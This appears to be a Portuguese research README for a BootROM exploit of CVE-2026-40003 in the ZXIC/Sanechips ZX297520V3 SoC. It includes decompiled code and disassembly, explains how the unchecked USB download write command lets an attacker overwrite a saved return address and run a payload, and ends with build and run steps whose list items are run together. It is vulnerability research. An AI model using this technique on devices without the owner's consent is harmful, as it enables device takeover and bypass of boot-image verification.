
Exploit para CVE-2026-40003, uma vulnerabilidade de escrita arbitrária de memória no BootROM do SoC ZXIC/Sanechips ZX297520V3, permitindo execução de código via modo de download USB.
CVE-2026-40003, também conhecido como Joselito, é uma vulnerabilidade de escrita arbitrária de memória encontrada no BootROM do SoC ZXIC/Sanechips ZX297520V3.
[!CAUTION] Este PoC foi publicado apenas para fins de pesquisa. Você NÃO deve usar este exploit para fins maliciosos. NÃO use o exploit em dispositivos que não sejam seus ou sem o consentimento explícito do proprietário.
Esta vulnerabilidade deve ser corrigida desde março de 2026 em revisões mais recentes do SoC. Ainda não há produtos conhecidos usando chips corrigidos. Todos os dispositivos existentes são vulneráveis.
TL;DR: confira o código do loader.
O BootROM começa no endereço 0x4 com o ponteiro de pilha em 0x81FF0. O código realiza a seleção de modo com base em um ponto de teste especial, ou na capacidade de carregar a imagem da flash. Se o BootROM falhar ao carregar ou verificar a imagem na flash, ele cairá no modo de download USB.
Podemos observar esse comportamento aqui:
v0 = MEMORY[0x13B004] & 7; // pino de hardware
switch ( (char)v0 )
{
case 0:
if ( nand_init() )
goto LABEL_12;
parse_header((Header *)0x8A000);
v4 = "\nMODE:NAND\n";
goto LABEL_11;
case 1:
if ( !nand_init() )
{
parse_header((Header *)0x8A000);
uart_puts("\nMODE:USB-N\n");
}
usbdl_init(0x1500000);
v5 = "TURN TO NAND\n";
goto LABEL_16;
/* ... */
LABEL_16:
uart_puts(v5);
LABEL_7:
verify_and_jump((Header *)0x8A000, 0, 1);
break;
A função usbdl_init inicializa o IP USB e entra no loop de download:
void __fastcall usbdl_init(int usb_base)
{
char *v1; // r0
if ( usb_base == 0x1500000 )
{
alt_usb_base = 0;
usb_init();
}
else
{
alt_usb_base = 1;
noidea();
}
if ( usb_setup() )
{
try_sync_with_host();
v1 = "FAILED\n";
}
else
{
v1 = "\nNOLINK\n";
}
uart_puts(v1);
}
Saída do desmontador:
ROM:00001F68 ; void __fastcall usbdl_init(int usb_base)
ROM:00001F68 usbdl_init ; CODE XREF: entry+5E↑p
ROM:00001F68 ; entry+7C↑p ...
ROM:00001F68 PUSH {R4,LR}
ROM:00001F6A MOVS R2, #0x1500000
ROM:00001F6E LDR R1, =dword_8014C
ROM:00001F70 MOV R4, R0
ROM:00001F72 CMP R0, R2
ROM:00001F74 BNE loc_1F80
ROM:00001F76 MOVS R0, #0
ROM:00001F78 STRB R0, [R1,#(alt_usb_base - 0x8014C)]
ROM:00001F7A BL usb_init
ROM:00001F7E B loc_1F88
ROM:00001F80 ; ---------------------------------------------------------------------------
ROM:00001F80
ROM:00001F80 loc_1F80 ; CODE XREF: usbdl_init+C↑j
ROM:00001F80 MOVS R0, #1
ROM:00001F82 STRB R0, [R1,#(alt_usb_base - 0x8014C)]
ROM:00001F84 BL noidea
ROM:00001F88
ROM:00001F88 loc_1F88 ; CODE XREF: usbdl_init+16↑j
ROM:00001F88 MOV R0, R4
ROM:00001F8A BL usb_setup
ROM:00001F8E CMP R0, #0
ROM:00001F90 BEQ loc_1F9E
ROM:00001F92 BL try_sync_with_host
ROM:00001F96 ADR R0, aFailed ; "FAILED\n"
ROM:00001F98
ROM:00001F98 loc_1F98 ; CODE XREF: usbdl_init+38↓j
ROM:00001F98 BL uart_puts
ROM:00001F9C POP {R4,PC}
ROM:00001F9E ; ---------------------------------------------------------------------------
ROM:00001F9E
ROM:00001F9E loc_1F9E ; CODE XREF: usbdl_init+28↑j
ROM:00001F9E ADR R0, aNolink ; "\nNOLINK\n"
ROM:00001FA0 B loc_1F98
ROM:00001FA0 ; End of function usbdl_init
A função try_sync_with_host aguarda o byte de sincronização (0x5A) e entra no loop principal.
void try_sync_with_host()
{
int v0; // r4
unsigned int i; // r0
int v2; // r5
int v3; // r2
int v4; // r3
int v5; // r2
int v6; // r3
int v7; // r0
v0 = 0x805A0;
time_to_boot = 0;
for ( i = 0; i < 0x40; ++i )
*(_BYTE *)(i + 0x805A0) = 0;
g_state = 0;
v2 = 0x200;
if ( usb_recv(byte_805A0, 0x200, 0x5A) == 1 ) // 0x5a = ack enviado pelo host
{
uart_puts("TIMEOUT\n");
}
else
{
resp[0] = 0xA5;
usb_send((int)resp, 1, v3, v4);
g_state = 1;
while ( !time_to_boot )
{
v7 = sub_11CA(v0, v2, v5, v6);
handler(v0, v7);
if ( g_state == 4 )
{
v2 = size;
v0 = start_addr;
}
else
{
v0 = 0x805A0;
v2 = 0x200;
}
}
verify_and_jump(unk_80160, 0, 1);
}
}
Após o handshake ser concluído, o BootROM entra no loop principal, aguardando o binário do estágio 1, que normalmente é usado para recuperar um dispositivo brickado. No entanto, o BootROM não verifica o endereço de destino, o que permite escrita arbitrária via comando 0x7A. O status 0xA1 significa que o endereço e o tamanho da imagem foram aceitos.
usb_send:
resp[0] = status;
v5 = 1;
v6 = resp;
return usb_send((int)v6, v5, state, v3);
case 3u: // 0x7A
if ( *(int *)&resp[4] >= 4 )
{
if ( *(int *)&resp[4] < 8 )
*(_DWORD *)&resp[12] = (*(_DWORD *)&resp[12] << 8) | result;
}
else
{
*(_DWORD *)&resp[8] = (*(_DWORD *)&resp[8] << 8) | result;
}
v3 = *(_DWORD *)&resp[4] + 1;
*(_DWORD *)&resp[4] = v3;
if ( v3 != 8 )
continue;
*(_DWORD *)&resp[4] = 0;
start_addr = *(_DWORD *)&resp[8];
size = *(_DWORD *)&resp[12];
g_state = 4;
status = 0xA1;
goto usb_send;
A função verify_and_jump realizará a verificação da imagem se o dispositivo estiver fundido (fused).
int __fastcall verify_and_jump(Header *a1, int zero, int must_verify)
{
int *p_sp; // r6
int result; // r0
p_sp = (int *)&a1->sp;
result = memcmp((int)a1->magic, 0x80008, 2u);
if ( !result )
{
if ( !zero || (result = a1->usbdl_en, result == 0x5A) )
{
if ( !must_verify )
return jump(p_sp);
result = verify(a1);
if ( !result )
return jump(p_sp);
}
}
return result;
}
A função verify usará os motores de hardware MD5 e RSA para verificar a integridade da imagem, e jump definirá o ponteiro de pilha para o endereço do cabeçalho da imagem e saltará para o ponto de entrada.
Na convenção de chamada ARM/Thumb, as chamadas de função geralmente começam com PUSH {regs, LR} e terminam com chamada de cauda, BX LR ou POP {regs, PC}. O usbdl_init não foi otimizado pelo compilador como chamada de cauda, portanto contém instruções PUSH e POP.
Já entendeu a ideia?
Como o BootROM não possui um sinalizador para download único, podemos enviar quantas imagens quisermos. O exploit abusa desse recurso (embora não seja uma vulnerabilidade em si) com escrita arbitrária de memória.
entry: PUSH {R3-R7,LR}) + 2 (função usbdl_init: PUSH {R4,LR}). Multiplique pelo tamanho do registro, então 8 * 4 = 32LR salvo na pilha (por simplicidade, o PoC repete o mesmo endereço para todos os registros salvos)verify_and_jump retorna para usbdl_initusbdl_init imprime FAILED e executa a instrução POP {R4, PC}, executando o payloadsudo apt update && sudo apt install curl llvm gcccurl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh ou o gerenciador de pacotes específico da distribuição. "$HOME/.cargo/env" (bash) ou source "$HOME/.cargo/env.fish" (fish)cd payload && ./build.sh && cd ..sudo -E cargo r -p loader -- target/thumbv6m-none-eabi/release/payloadAgora conecte o dispositivo com o modo de download USB ativado (seja por ponto de teste especial ou flash corrompida) e observe a saída UART.